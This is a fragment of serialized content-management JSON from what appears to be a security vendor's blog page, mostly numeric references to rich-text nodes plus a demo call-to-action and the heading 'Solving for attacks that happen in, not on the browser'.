solutions.",{"url":47827,"width":47828,"height":47829},"https://images.ctfassets.net/y1cdw1ablpvd/4z1RAFROesqaBF4H3qR8yu/1e21a68602402773bfa843fd0208d4ca/Screenshot_2026-07-27_at_10.36.43.png",1408,952,{"sys":47831,"__typename":1717,"type":1718,"ctaText":47832,"buttonLabel":47833,"buttonColour":1721,"buttonUrl":5642},{"id":42524},"Ready to learn more about Push? Book a demo with one of our team. ","Book a Demo",{"items":47835},[],{},"Solving for attacks that happen in, not on the browser",{"items":47839},[47840,48660,49493],{"__typename":2059,"sys":47841,"content":47842,"title":19250,"synopsis":19251,"hashTags":59,"publishedDate":19252,"slug":19253,"tagsCollection":48650,"authorsCollection":48656},{"id":18316},{"json":47843},{"data":47844,"content":47845,"nodeType":856},{},[47846,47852,47869,47879,47885,47892,47898,47918,47924,47930,47936,47946,47951,47954,47961,47974,47991,48087,48092,48098,48103,48110,48116,48126,48132,48137,48143,48163,48169,48175,48180,48183,48190,48196,48203,48209,48222,48228,48234,48241,48247,48253,48260,48266,48272,48275,48282,48288,48295,48301,48307,48313,48319,48326,48332,48359,48365,48371,48376,48382,48389,48395,48463,48468,48475,48488,48494,48499,48505,48518,48521,48528,48534,48540,48545,48551,48590,48596,48602,48608,48613,48616,48623,48629,48635],{"data":47847,"content":47848,"nodeType":860},{},[47849],{"data":47850,"marks":47851,"value":18327,"nodeType":864},{},[],{"data":47853,"content":47854,"nodeType":860},{},[47855,47858,47866],{"data":47856,"marks":47857,"value":18334,"nodeType":864},{},[],{"data":47859,"content":47862,"nodeType":18344},{"target":47860},{"sys":47861},{"id":18339,"type":1001,"linkType":1002},[47863],{"data":47864,"marks":47865,"value":441,"nodeType":864},{},[],{"data":47867,"marks":47868,"value":18348,"nodeType":864},{},[],{"data":47870,"content":47871,"nodeType":860},{},[47872,47875],{"data":47873,"marks":47874,"value":18355,"nodeType":864},{},[],{"data":47876,"marks":47877,"value":18360,"nodeType":864},{},[47878],{"type":2246},{"data":47880,"content":47881,"nodeType":860},{},[47882],{"data":47883,"marks":47884,"value":18367,"nodeType":864},{},[],{"data":47886,"content":47887,"nodeType":860},{},[47888],{"data":47889,"marks":47890,"value":18375,"nodeType":864},{},[47891],{"type":899},{"data":47893,"content":47894,"nodeType":860},{},[47895],{"data":47896,"marks":47897,"value":18382,"nodeType":864},{},[],{"data":47899,"content":47900,"nodeType":860},{},[47901,47905,47914],{"data":47902,"marks":47903,"value":18390,"nodeType":864},{},[47904],{"type":899},{"data":47906,"content":47909,"nodeType":18344},{"target":47907},{"sys":47908},{"id":18395,"type":1001,"linkType":1002},[47910],{"data":47911,"marks":47912,"value":8098,"nodeType":864},{},[47913],{"type":899},{"data":47915,"marks":47916,"value":2924,"nodeType":864},{},[47917],{"type":899},{"data":47919,"content":47920,"nodeType":860},{},[47921],{"data":47922,"marks":47923,"value":18411,"nodeType":864},{},[],{"data":47925,"content":47926,"nodeType":860},{},[47927],{"data":47928,"marks":47929,"value":18418,"nodeType":864},{},[],{"data":47931,"content":47932,"nodeType":860},{},[47933],{"data":47934,"marks":47935,"value":18425,"nodeType":864},{},[],{"data":47937,"content":47938,"nodeType":860},{},[47939,47943],{"data":47940,"marks":47941,"value":18433,"nodeType":864},{},[47942],{"type":899},{"data":47944,"marks":47945,"value":18437,"nodeType":864},{},[],{"data":47947,"content":47950,"nodeType":996},{"target":47948},{"sys":47949},{"id":18442,"type":1001,"linkType":1002},[],{"data":47952,"content":47953,"nodeType":1005},{},[],{"data":47955,"content":47956,"nodeType":1009},{},[47957],{"data":47958,"marks":47959,"value":18454,"nodeType":864},{},[47960],{"type":899},{"data":47962,"content":47963,"nodeType":860},{},[47964,47967,47971],{"data":47965,"marks":47966,"value":18461,"nodeType":864},{},[],{"data":47968,"marks":47969,"value":18466,"nodeType":864},{},[47970],{"type":899},{"data":47972,"marks":47973,"value":18470,"nodeType":864},{},[],{"data":47975,"content":47976,"nodeType":860},{},[47977,47980,47988],{"data":47978,"marks":47979,"value":18477,"nodeType":864},{},[],{"data":47981,"content":47984,"nodeType":18344},{"target":47982},{"sys":47983},{"id":5746,"type":1001,"linkType":1002},[47985],{"data":47986,"marks":47987,"value":5248,"nodeType":864},{},[],{"data":47989,"marks":47990,"value":18489,"nodeType":864},{},[],{"data":47992,"content":47993,"nodeType":941},{},[47994,48003,48023],{"data":47995,"content":47996,"nodeType":945},{},[47997],{"data":47998,"content":47999,"nodeType":860},{},[48000],{"data":48001,"marks":48002,"value":18502,"nodeType":864},{},[],{"data":48004,"content":48005,"nodeType":945},{},[48006],{"data":48007,"content":48008,"nodeType":860},{},[48009,48012,48020],{"data":48010,"marks":48011,"value":18512,"nodeType":864},{},[],{"data":48013,"content":48016,"nodeType":18344},{"target":48014},{"sys":48015},{"id":18517,"type":1001,"linkType":1002},[48017],{"data":48018,"marks":48019,"value":18522,"nodeType":864},{},[],{"data":48021,"marks":48022,"value":18526,"nodeType":864},{},[],{"data":48024,"content":48025,"nodeType":945},{},[48026],{"data":48027,"content":48028,"nodeType":860},{},[48029,48032,48040,48043,48051,48054,48062,48065,48073,48076,48084],{"data":48030,"marks":48031,"value":18536,"nodeType":864},{},[],{"data":48033,"content":48036,"nodeType":18344},{"target":48034},{"sys":48035},{"id":18541,"type":1001,"linkType":1002},[48037],{"data":48038,"marks":48039,"value":6041,"nodeType":864},{},[],{"data":48041,"marks":48042,"value":18549,"nodeType":864},{},[],{"data":48044,"content":48047,"nodeType":18344},{"target":48045},{"sys":48046},{"id":18395,"type":1001,"linkType":1002},[48048],{"data":48049,"marks":48050,"value":18558,"nodeType":864},{},[],{"data":48052,"marks":48053,"value":18562,"nodeType":864},{},[],{"data":48055,"content":48058,"nodeType":18344},{"target":48056},{"sys":48057},{"id":18567,"type":1001,"linkType":1002},[48059],{"data":48060,"marks":48061,"value":18572,"nodeType":864},{},[],{"data":48063,"marks":48064,"value":1171,"nodeType":864},{},[],{"data":48066,"content":48069,"nodeType":18344},{"target":48067},{"sys":48068},{"id":18339,"type":1001,"linkType":1002},[48070],{"data":48071,"marks":48072,"value":520,"nodeType":864},{},[],{"data":48074,"marks":48075,"value":1171,"nodeType":864},{},[],{"data":48077,"content":48080,"nodeType":18344},{"target":48078},{"sys":48079},{"id":18591,"type":1001,"linkType":1002},[48081],{"data":48082,"marks":48083,"value":18596,"nodeType":864},{},[],{"data":48085,"marks":48086,"value":18600,"nodeType":864},{},[],{"data":48088,"content":48091,"nodeType":996},{"target":48089},{"sys":48090},{"id":4990,"type":1001,"linkType":1002},[],{"data":48093,"content":48094,"nodeType":860},{},[48095],{"data":48096,"marks":48097,"value":18612,"nodeType":864},{},[],{"data":48099,"content":48102,"nodeType":996},{"target":48100},{"sys":48101},{"id":18617,"type":1001,"linkType":1002},[],{"data":48104,"content":48105,"nodeType":1312},{},[48106],{"data":48107,"marks":48108,"value":18626,"nodeType":864},{},[48109],{"type":899},{"data":48111,"content":48112,"nodeType":860},{},[48113],{"data":48114,"marks":48115,"value":18633,"nodeType":864},{},[],{"data":48117,"content":48118,"nodeType":860},{},[48119,48123],{"data":48120,"marks":48121,"value":18641,"nodeType":864},{},[48122],{"type":899},{"data":48124,"marks":48125,"value":18645,"nodeType":864},{},[],{"data":48127,"content":48128,"nodeType":860},{},[48129],{"data":48130,"marks":48131,"value":18652,"nodeType":864},{},[],{"data":48133,"content":48136,"nodeType":996},{"target":48134},{"sys":48135},{"id":18657,"type":1001,"linkType":1002},[],{"data":48138,"content":48139,"nodeType":860},{},[48140],{"data":48141,"marks":48142,"value":18665,"nodeType":864},{},[],{"data":48144,"content":48145,"nodeType":860},{},[48146,48150,48159],{"data":48147,"marks":48148,"value":18673,"nodeType":864},{},[48149],{"type":899},{"data":48151,"content":48154,"nodeType":18344},{"target":48152},{"sys":48153},{"id":18678,"type":1001,"linkType":1002},[48155],{"data":48156,"marks":48157,"value":11824,"nodeType":864},{},[48158],{"type":899},{"data":48160,"marks":48161,"value":18688,"nodeType":864},{},[48162],{"type":899},{"data":48164,"content":48165,"nodeType":860},{},[48166],{"data":48167,"marks":48168,"value":18695,"nodeType":864},{},[],{"data":48170,"content":48171,"nodeType":860},{},[48172],{"data":48173,"marks":48174,"value":18702,"nodeType":864},{},[],{"data":48176,"content":48179,"nodeType":996},{"target":48177},{"sys":48178},{"id":18707,"type":1001,"linkType":1002},[],{"data":48181,"content":48182,"nodeType":1005},{},[],{"data":48184,"content":48185,"nodeType":1009},{},[48186],{"data":48187,"marks":48188,"value":18719,"nodeType":864},{},[48189],{"type":899},{"data":48191,"content":48192,"nodeType":860},{},[48193],{"data":48194,"marks":48195,"value":18726,"nodeType":864},{},[],{"data":48197,"content":48198,"nodeType":1312},{},[48199],{"data":48200,"marks":48201,"value":18734,"nodeType":864},{},[48202],{"type":899},{"data":48204,"content":48205,"nodeType":860},{},[48206],{"data":48207,"marks":48208,"value":18741,"nodeType":864},{},[],{"data":48210,"content":48211,"nodeType":860},{},[48212,48215,48219],{"data":48213,"marks":48214,"value":18748,"nodeType":864},{},[],{"data":48216,"marks":48217,"value":12271,"nodeType":864},{},[48218],{"type":899},{"data":48220,"marks":48221,"value":18756,"nodeType":864},{},[],{"data":48223,"content":48224,"nodeType":860},{},[48225],{"data":48226,"marks":48227,"value":18763,"nodeType":864},{},[],{"data":48229,"content":48230,"nodeType":860},{},[48231],{"data":48232,"marks":48233,"value":18770,"nodeType":864},{},[],{"data":48235,"content":48236,"nodeType":1312},{},[48237],{"data":48238,"marks":48239,"value":18778,"nodeType":864},{},[48240],{"type":899},{"data":48242,"content":48243,"nodeType":860},{},[48244],{"data":48245,"marks":48246,"value":18785,"nodeType":864},{},[],{"data":48248,"content":48249,"nodeType":860},{},[48250],{"data":48251,"marks":48252,"value":18792,"nodeType":864},{},[],{"data":48254,"content":48255,"nodeType":1312},{},[48256],{"data":48257,"marks":48258,"value":18800,"nodeType":864},{},[48259],{"type":899},{"data":48261,"content":48262,"nodeType":860},{},[48263],{"data":48264,"marks":48265,"value":18807,"nodeType":864},{},[],{"data":48267,"content":48268,"nodeType":860},{},[48269],{"data":48270,"marks":48271,"value":18814,"nodeType":864},{},[],{"data":48273,"content":48274,"nodeType":1005},{},[],{"data":48276,"content":48277,"nodeType":1009},{},[48278],{"data":48279,"marks":48280,"value":18825,"nodeType":864},{},[48281],{"type":899},{"data":48283,"content":48284,"nodeType":860},{},[48285],{"data":48286,"marks":48287,"value":18832,"nodeType":864},{},[],{"data":48289,"content":48290,"nodeType":1312},{},[48291],{"data":48292,"marks":48293,"value":18840,"nodeType":864},{},[48294],{"type":899},{"data":48296,"content":48297,"nodeType":860},{},[48298],{"data":48299,"marks":48300,"value":18847,"nodeType":864},{},[],{"data":48302,"content":48303,"nodeType":860},{},[48304],{"data":48305,"marks":48306,"value":18854,"nodeType":864},{},[],{"data":48308,"content":48309,"nodeType":860},{},[48310],{"data":48311,"marks":48312,"value":18861,"nodeType":864},{},[],{"data":48314,"content":48315,"nodeType":860},{},[48316],{"data":48317,"marks":48318,"value":18868,"nodeType":864},{},[],{"data":48320,"content":48321,"nodeType":1312},{},[48322],{"data":48323,"marks":48324,"value":18876,"nodeType":864},{},[48325],{"type":899},{"data":48327,"content":48328,"nodeType":860},{},[48329],{"data":48330,"marks":48331,"value":18883,"nodeType":864},{},[],{"data":48333,"content":48334,"nodeType":860},{},[48335,48338,48342,48345,48349,48352,48356],{"data":48336,"marks":48337,"value":18890,"nodeType":864},{},[],{"data":48339,"marks":48340,"value":18895,"nodeType":864},{},[48341],{"type":899},{"data":48343,"marks":48344,"value":3731,"nodeType":864},{},[],{"data":48346,"marks":48347,"value":18903,"nodeType":864},{},[48348],{"type":899},{"data":48350,"marks":48351,"value":3731,"nodeType":864},{},[],{"data":48353,"marks":48354,"value":18911,"nodeType":864},{},[48355],{"type":899},{"data":48357,"marks":48358,"value":18915,"nodeType":864},{},[],{"data":48360,"content":48361,"nodeType":860},{},[48362],{"data":48363,"marks":48364,"value":18922,"nodeType":864},{},[],{"data":48366,"content":48367,"nodeType":860},{},[48368],{"data":48369,"marks":48370,"value":18929,"nodeType":864},{},[],{"data":48372,"content":48375,"nodeType":996},{"target":48373},{"sys":48374},{"id":18934,"type":1001,"linkType":1002},[],{"data":48377,"content":48378,"nodeType":860},{},[48379],{"data":48380,"marks":48381,"value":18942,"nodeType":864},{},[],{"data":48383,"content":48384,"nodeType":1312},{},[48385],{"data":48386,"marks":48387,"value":18950,"nodeType":864},{},[48388],{"type":899},{"data":48390,"content":48391,"nodeType":860},{},[48392],{"data":48393,"marks":48394,"value":18957,"nodeType":864},{},[],{"data":48396,"content":48397,"nodeType":941},{},[48398,48411,48424,48437,48450],{"data":48399,"content":48400,"nodeType":945},{},[48401],{"data":48402,"content":48403,"nodeType":860},{},[48404,48408],{"data":48405,"marks":48406,"value":18971,"nodeType":864},{},[48407],{"type":899},{"data":48409,"marks":48410,"value":18975,"nodeType":864},{},[],{"data":48412,"content":48413,"nodeType":945},{},[48414],{"data":48415,"content":48416,"nodeType":860},{},[48417,48421],{"data":48418,"marks":48419,"value":18986,"nodeType":864},{},[48420],{"type":899},{"data":48422,"marks":48423,"value":18990,"nodeType":864},{},[],{"data":48425,"content":48426,"nodeType":945},{},[48427],{"data":48428,"content":48429,"nodeType":860},{},[48430,48434],{"data":48431,"marks":48432,"value":19001,"nodeType":864},{},[48433],{"type":899},{"data":48435,"marks":48436,"value":19005,"nodeType":864},{},[],{"data":48438,"content":48439,"nodeType":945},{},[48440],{"data":48441,"content":48442,"nodeType":860},{},[48443,48447],{"data":48444,"marks":48445,"value":19016,"nodeType":864},{},[48446],{"type":899},{"data":48448,"marks":48449,"value":19020,"nodeType":864},{},[],{"data":48451,"content":48452,"nodeType":945},{},[48453],{"data":48454,"content":48455,"nodeType":860},{},[48456,48460],{"data":48457,"marks":48458,"value":19031,"nodeType":864},{},[48459],{"type":899},{"data":48461,"marks":48462,"value":19035,"nodeType":864},{},[],{"data":48464,"content":48467,"nodeType":996},{"target":48465},{"sys":48466},{"id":19040,"type":1001,"linkType":1002},[],{"data":48469,"content":48470,"nodeType":1312},{},[48471],{"data":48472,"marks":48473,"value":19049,"nodeType":864},{},[48474],{"type":899},{"data":48476,"content":48477,"nodeType":860},{},[48478,48481,48485],{"data":48479,"marks":48480,"value":19056,"nodeType":864},{},[],{"data":48482,"marks":48483,"value":19061,"nodeType":864},{},[48484],{"type":899},{"data":48486,"marks":48487,"value":19065,"nodeType":864},{},[],{"data":48489,"content":48490,"nodeType":860},{},[48491],{"data":48492,"marks":48493,"value":19072,"nodeType":864},{},[],{"data":48495,"content":48498,"nodeType":996},{"target":48496},{"sys":48497},{"id":19077,"type":1001,"linkType":1002},[],{"data":48500,"content":48501,"nodeType":860},{},[48502],{"data":48503,"marks":48504,"value":19085,"nodeType":864},{},[],{"data":48506,"content":48507,"nodeType":860},{},[48508,48511,48515],{"data":48509,"marks":48510,"value":19092,"nodeType":864},{},[],{"data":48512,"marks":48513,"value":19097,"nodeType":864},{},[48514],{"type":899},{"data":48516,"marks":48517,"value":19101,"nodeType":864},{},[],{"data":48519,"content":48520,"nodeType":1005},{},[],{"data":48522,"content":48523,"nodeType":1009},{},[48524],{"data":48525,"marks":48526,"value":19112,"nodeType":864},{},[48527],{"type":899},{"data":48529,"content":48530,"nodeType":860},{},[48531],{"data":48532,"marks":48533,"value":19119,"nodeType":864},{},[],{"data":48535,"content":48536,"nodeType":860},{},[48537],{"data":48538,"marks":48539,"value":19126,"nodeType":864},{},[],{"data":48541,"content":48544,"nodeType":996},{"target":48542},{"sys":48543},{"id":19131,"type":1001,"linkType":1002},[],{"data":48546,"content":48547,"nodeType":860},{},[48548],{"data":48549,"marks":48550,"value":19139,"nodeType":864},{},[],{"data":48552,"content":48553,"nodeType":941},{},[48554,48572,48581],{"data":48555,"content":48556,"nodeType":945},{},[48557],{"data":48558,"content":48559,"nodeType":860},{},[48560,48563,48569],{"data":48561,"marks":48562,"value":19152,"nodeType":864},{},[],{"data":48564,"content":48565,"nodeType":883},{"uri":19155},[48566],{"data":48567,"marks":48568,"value":1578,"nodeType":864},{},[],{"data":48570,"marks":48571,"value":19163,"nodeType":864},{},[],{"data":48573,"content":48574,"nodeType":945},{},[48575],{"data":48576,"content":48577,"nodeType":860},{},[48578],{"data":48579,"marks":48580,"value":19173,"nodeType":864},{},[],{"data":48582,"content":48583,"nodeType":945},{},[48584],{"data":48585,"content":48586,"nodeType":860},{},[48587],{"data":48588,"marks":48589,"value":19183,"nodeType":864},{},[],{"data":48591,"content":48592,"nodeType":860},{},[48593],{"data":48594,"marks":48595,"value":19190,"nodeType":864},{},[],{"data":48597,"content":48598,"nodeType":860},{},[48599],{"data":48600,"marks":48601,"value":19197,"nodeType":864},{},[],{"data":48603,"content":48604,"nodeType":860},{},[48605],{"data":48606,"marks":48607,"value":19204,"nodeType":864},{},[],{"data":48609,"content":48612,"nodeType":996},{"target":48610},{"sys":48611},{"id":19209,"type":1001,"linkType":1002},[],{"data":48614,"content":48615,"nodeType":1005},{},[],{"data":48617,"content":48618,"nodeType":1009},{},[48619],{"data":48620,"marks":48621,"value":19221,"nodeType":864},{},[48622],{"type":899},{"data":48624,"content":48625,"nodeType":860},{},[48626],{"data":48627,"marks":48628,"value":1682,"nodeType":864},{},[],{"data":48630,"content":48631,"nodeType":860},{},[48632],{"data":48633,"marks":48634,"value":1689,"nodeType":864},{},[],{"data":48636,"content":48637,"nodeType":860},{},[48638,48641,48647],{"data":48639,"marks":48640,"value":2707,"nodeType":864},{},[],{"data":48642,"content":48643,"nodeType":883},{"uri":19242},[48644],{"data":48645,"marks":48646,"value":2715,"nodeType":864},{},[],{"data":48648,"marks":48649,"value":2719,"nodeType":864},{},[],{"items":48651},[48652,48654],{"sys":48653,"name":6593},{"id":6592},{"sys":48655,"name":342},{"id":6596},{"items":48657},[48658],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":48659},{"url":853},{"__typename":2059,"sys":48661,"content":48662,"title":35658,"synopsis":35659,"hashTags":59,"publishedDate":6586,"slug":35660,"tagsCollection":49483,"authorsCollection":49489},{"id":34695},{"json":48663},{"data":48664,"content":48665,"nodeType":856},{},[48666,48688,48712,48745,48778,48783,48793,48796,48803,48845,48851,48870,48875,48878,48885,48909,48915,48922,48927,48930,48937,48943,48958,48964,48997,49003,49006,49013,49028,49070,49073,49080,49095,49110,49117,49123,49133,49143,49153,49163,49178,49185,49191,49194,49200,49206,49221,49224,49231,49246,49477],{"data":48667,"content":48668,"nodeType":860},{},[48669,48672,48678,48681,48685],{"data":48670,"marks":48671,"value":34706,"nodeType":864},{},[],{"data":48673,"content":48674,"nodeType":883},{"uri":6237},[48675],{"data":48676,"marks":48677,"value":6242,"nodeType":864},{},[],{"data":48679,"marks":48680,"value":34716,"nodeType":864},{},[],{"data":48682,"marks":48683,"value":34721,"nodeType":864},{},[48684],{"type":899},{"data":48686,"marks":48687,"value":34725,"nodeType":864},{},[],{"data":48689,"content":48690,"nodeType":860},{},[48691,48694,48700,48703,48709],{"data":48692,"marks":48693,"value":34732,"nodeType":864},{},[],{"data":48695,"content":48696,"nodeType":883},{"uri":34735},[48697],{"data":48698,"marks":48699,"value":34740,"nodeType":864},{},[],{"data":48701,"marks":48702,"value":34744,"nodeType":864},{},[],{"data":48704,"content":48705,"nodeType":883},{"uri":34747},[48706],{"data":48707,"marks":48708,"value":34752,"nodeType":864},{},[],{"data":48710,"marks":48711,"value":34756,"nodeType":864},{},[],{"data":48713,"content":48714,"nodeType":860},{},[48715,48718,48724,48727,48733,48736,48742],{"data":48716,"marks":48717,"value":34763,"nodeType":864},{},[],{"data":48719,"content":48720,"nodeType":883},{"uri":34766},[48721],{"data":48722,"marks":48723,"value":34771,"nodeType":864},{},[],{"data":48725,"marks":48726,"value":34775,"nodeType":864},{},[],{"data":48728,"content":48729,"nodeType":883},{"uri":34778},[48730],{"data":48731,"marks":48732,"value":34783,"nodeType":864},{},[],{"data":48734,"marks":48735,"value":34787,"nodeType":864},{},[],{"data":48737,"content":48738,"nodeType":883},{"uri":34790},[48739],{"data":48740,"marks":48741,"value":34795,"nodeType":864},{},[],{"data":48743,"marks":48744,"value":34799,"nodeType":864},{},[],{"data":48746,"content":48747,"nodeType":860},{},[48748,48751,48757,48760,48766,48769,48775],{"data":48749,"marks":48750,"value":34806,"nodeType":864},{},[],{"data":48752,"content":48753,"nodeType":883},{"uri":34809},[48754],{"data":48755,"marks":48756,"value":34814,"nodeType":864},{},[],{"data":48758,"marks":48759,"value":34818,"nodeType":864},{},[],{"data":48761,"content":48762,"nodeType":883},{"uri":34821},[48763],{"data":48764,"marks":48765,"value":34826,"nodeType":864},{},[],{"data":48767,"marks":48768,"value":34830,"nodeType":864},{},[],{"data":48770,"content":48771,"nodeType":883},{"uri":34833},[48772],{"data":48773,"marks":48774,"value":34838,"nodeType":864},{},[],{"data":48776,"marks":48777,"value":34842,"nodeType":864},{},[],{"data":48779,"content":48782,"nodeType":996},{"target":48780},{"sys":48781},{"id":34847,"type":1001,"linkType":1002},[],{"data":48784,"content":48785,"nodeType":860},{},[48786,48790],{"data":48787,"marks":48788,"value":34856,"nodeType":864},{},[48789],{"type":899},{"data":48791,"marks":48792,"value":34860,"nodeType":864},{},[],{"data":48794,"content":48795,"nodeType":1005},{},[],{"data":48797,"content":48798,"nodeType":1009},{},[48799],{"data":48800,"marks":48801,"value":34871,"nodeType":864},{},[48802],{"type":899},{"data":48804,"content":48805,"nodeType":860},{},[48806,48809,48815,48818,48824,48827,48833,48836,48842],{"data":48807,"marks":48808,"value":34878,"nodeType":864},{},[],{"data":48810,"content":48811,"nodeType":883},{"uri":26962},[48812],{"data":48813,"marks":48814,"value":34885,"nodeType":864},{},[],{"data":48816,"marks":48817,"value":34889,"nodeType":864},{},[],{"data":48819,"content":48820,"nodeType":883},{"uri":34892},[48821],{"data":48822,"marks":48823,"value":34897,"nodeType":864},{},[],{"data":48825,"marks":48826,"value":34901,"nodeType":864},{},[],{"data":48828,"content":48829,"nodeType":883},{"uri":34778},[48830],{"data":48831,"marks":48832,"value":34908,"nodeType":864},{},[],{"data":48834,"marks":48835,"value":34912,"nodeType":864},{},[],{"data":48837,"content":48838,"nodeType":883},{"uri":15592},[48839],{"data":48840,"marks":48841,"value":34919,"nodeType":864},{},[],{"data":48843,"marks":48844,"value":2924,"nodeType":864},{},[],{"data":48846,"content":48847,"nodeType":860},{},[48848],{"data":48849,"marks":48850,"value":34929,"nodeType":864},{},[],{"data":48852,"content":48853,"nodeType":860},{},[48854,48857,48863,48866],{"data":48855,"marks":48856,"value":34936,"nodeType":864},{},[],{"data":48858,"content":48859,"nodeType":883},{"uri":15592},[48860],{"data":48861,"marks":48862,"value":34943,"nodeType":864},{},[],{"data":48864,"marks":48865,"value":34947,"nodeType":864},{},[],{"data":48867,"marks":48868,"value":34952,"nodeType":864},{},[48869],{"type":899},{"data":48871,"content":48874,"nodeType":996},{"target":48872},{"sys":48873},{"id":34957,"type":1001,"linkType":1002},[],{"data":48876,"content":48877,"nodeType":1005},{},[],{"data":48879,"content":48880,"nodeType":1009},{},[48881],{"data":48882,"marks":48883,"value":34969,"nodeType":864},{},[48884],{"type":899},{"data":48886,"content":48887,"nodeType":860},{},[48888,48891,48897,48900,48906],{"data":48889,"marks":48890,"value":2761,"nodeType":864},{},[],{"data":48892,"content":48893,"nodeType":883},{"uri":6259},[48894],{"data":48895,"marks":48896,"value":34982,"nodeType":864},{},[],{"data":48898,"marks":48899,"value":34986,"nodeType":864},{},[],{"data":48901,"content":48902,"nodeType":883},{"uri":34790},[48903],{"data":48904,"marks":48905,"value":34993,"nodeType":864},{},[],{"data":48907,"marks":48908,"value":34997,"nodeType":864},{},[],{"data":48910,"content":48911,"nodeType":860},{},[48912],{"data":48913,"marks":48914,"value":35004,"nodeType":864},{},[],{"data":48916,"content":48917,"nodeType":860},{},[48918],{"data":48919,"marks":48920,"value":35012,"nodeType":864},{},[48921],{"type":899},{"data":48923,"content":48926,"nodeType":996},{"target":48924},{"sys":48925},{"id":35017,"type":1001,"linkType":1002},[],{"data":48928,"content":48929,"nodeType":1005},{},[],{"data":48931,"content":48932,"nodeType":1009},{},[48933],{"data":48934,"marks":48935,"value":35029,"nodeType":864},{},[48936],{"type":899},{"data":48938,"content":48939,"nodeType":860},{},[48940],{"data":48941,"marks":48942,"value":35036,"nodeType":864},{},[],{"data":48944,"content":48945,"nodeType":860},{},[48946,48949,48955],{"data":48947,"marks":48948,"value":2761,"nodeType":864},{},[],{"data":48950,"content":48951,"nodeType":883},{"uri":35045},[48952],{"data":48953,"marks":48954,"value":35050,"nodeType":864},{},[],{"data":48956,"marks":48957,"value":35054,"nodeType":864},{},[],{"data":48959,"content":48960,"nodeType":860},{},[48961],{"data":48962,"marks":48963,"value":35061,"nodeType":864},{},[],{"data":48965,"content":48966,"nodeType":860},{},[48967,48970,48976,48979,48985,48988,48994],{"data":48968,"marks":48969,"value":35068,"nodeType":864},{},[],{"data":48971,"content":48972,"nodeType":883},{"uri":35071},[48973],{"data":48974,"marks":48975,"value":35076,"nodeType":864},{},[],{"data":48977,"marks":48978,"value":35080,"nodeType":864},{},[],{"data":48980,"content":48981,"nodeType":883},{"uri":35083},[48982],{"data":48983,"marks":48984,"value":35088,"nodeType":864},{},[],{"data":48986,"marks":48987,"value":35092,"nodeType":864},{},[],{"data":48989,"content":48990,"nodeType":883},{"uri":4103},[48991],{"data":48992,"marks":48993,"value":35099,"nodeType":864},{},[],{"data":48995,"marks":48996,"value":35103,"nodeType":864},{},[],{"data":48998,"content":48999,"nodeType":860},{},[49000],{"data":49001,"marks":49002,"value":35110,"nodeType":864},{},[],{"data":49004,"content":49005,"nodeType":1005},{},[],{"data":49007,"content":49008,"nodeType":1009},{},[49009],{"data":49010,"marks":49011,"value":35121,"nodeType":864},{},[49012],{"type":899},{"data":49014,"content":49015,"nodeType":860},{},[49016,49019,49025],{"data":49017,"marks":49018,"value":35128,"nodeType":864},{},[],{"data":49020,"content":49021,"nodeType":883},{"uri":35131},[49022],{"data":49023,"marks":49024,"value":35136,"nodeType":864},{},[],{"data":49026,"marks":49027,"value":35140,"nodeType":864},{},[],{"data":49029,"content":49030,"nodeType":860},{},[49031,49034,49040,49043,49049,49052,49058,49061,49067],{"data":49032,"marks":49033,"value":35147,"nodeType":864},{},[],{"data":49035,"content":49036,"nodeType":883},{"uri":35150},[49037],{"data":49038,"marks":49039,"value":35155,"nodeType":864},{},[],{"data":49041,"marks":49042,"value":35159,"nodeType":864},{},[],{"data":49044,"content":49045,"nodeType":883},{"uri":35162},[49046],{"data":49047,"marks":49048,"value":35167,"nodeType":864},{},[],{"data":49050,"marks":49051,"value":35171,"nodeType":864},{},[],{"data":49053,"content":49054,"nodeType":883},{"uri":35174},[49055],{"data":49056,"marks":49057,"value":35179,"nodeType":864},{},[],{"data":49059,"marks":49060,"value":35183,"nodeType":864},{},[],{"data":49062,"content":49063,"nodeType":883},{"uri":35186},[49064],{"data":49065,"marks":49066,"value":35191,"nodeType":864},{},[],{"data":49068,"marks":49069,"value":35195,"nodeType":864},{},[],{"data":49071,"content":49072,"nodeType":1005},{},[],{"data":49074,"content":49075,"nodeType":1009},{},[49076],{"data":49077,"marks":49078,"value":35206,"nodeType":864},{},[49079],{"type":899},{"data":49081,"content":49082,"nodeType":860},{},[49083,49086,49092],{"data":49084,"marks":49085,"value":35213,"nodeType":864},{},[],{"data":49087,"content":49088,"nodeType":883},{"uri":3259},[49089],{"data":49090,"marks":49091,"value":35220,"nodeType":864},{},[],{"data":49093,"marks":49094,"value":35224,"nodeType":864},{},[],{"data":49096,"content":49097,"nodeType":860},{},[49098,49101,49107],{"data":49099,"marks":49100,"value":35231,"nodeType":864},{},[],{"data":49102,"content":49103,"nodeType":883},{"uri":35234},[49104],{"data":49105,"marks":49106,"value":315,"nodeType":864},{},[],{"data":49108,"marks":49109,"value":35242,"nodeType":864},{},[],{"data":49111,"content":49112,"nodeType":1312},{},[49113],{"data":49114,"marks":49115,"value":13350,"nodeType":864},{},[49116],{"type":899},{"data":49118,"content":49119,"nodeType":860},{},[49120],{"data":49121,"marks":49122,"value":35256,"nodeType":864},{},[],{"data":49124,"content":49125,"nodeType":860},{},[49126,49130],{"data":49127,"marks":49128,"value":35264,"nodeType":864},{},[49129],{"type":899},{"data":49131,"marks":49132,"value":35268,"nodeType":864},{},[],{"data":49134,"content":49135,"nodeType":860},{},[49136,49140],{"data":49137,"marks":49138,"value":35276,"nodeType":864},{},[49139],{"type":899},{"data":49141,"marks":49142,"value":35280,"nodeType":864},{},[],{"data":49144,"content":49145,"nodeType":860},{},[49146,49150],{"data":49147,"marks":49148,"value":35288,"nodeType":864},{},[49149],{"type":899},{"data":49151,"marks":49152,"value":35292,"nodeType":864},{},[],{"data":49154,"content":49155,"nodeType":860},{},[49156,49160],{"data":49157,"marks":49158,"value":35300,"nodeType":864},{},[49159],{"type":899},{"data":49161,"marks":49162,"value":35304,"nodeType":864},{},[],{"data":49164,"content":49165,"nodeType":860},{},[49166,49169,49175],{"data":49167,"marks":49168,"value":21,"nodeType":864},{},[],{"data":49170,"content":49171,"nodeType":883},{"uri":8621},[49172],{"data":49173,"marks":49174,"value":35317,"nodeType":864},{},[],{"data":49176,"marks":49177,"value":21,"nodeType":864},{},[],{"data":49179,"content":49180,"nodeType":1312},{},[49181],{"data":49182,"marks":49183,"value":35328,"nodeType":864},{},[49184],{"type":899},{"data":49186,"content":49187,"nodeType":860},{},[49188],{"data":49189,"marks":49190,"value":35335,"nodeType":864},{},[],{"data":49192,"content":49193,"nodeType":1005},{},[],{"data":49195,"content":49196,"nodeType":860},{},[49197],{"data":49198,"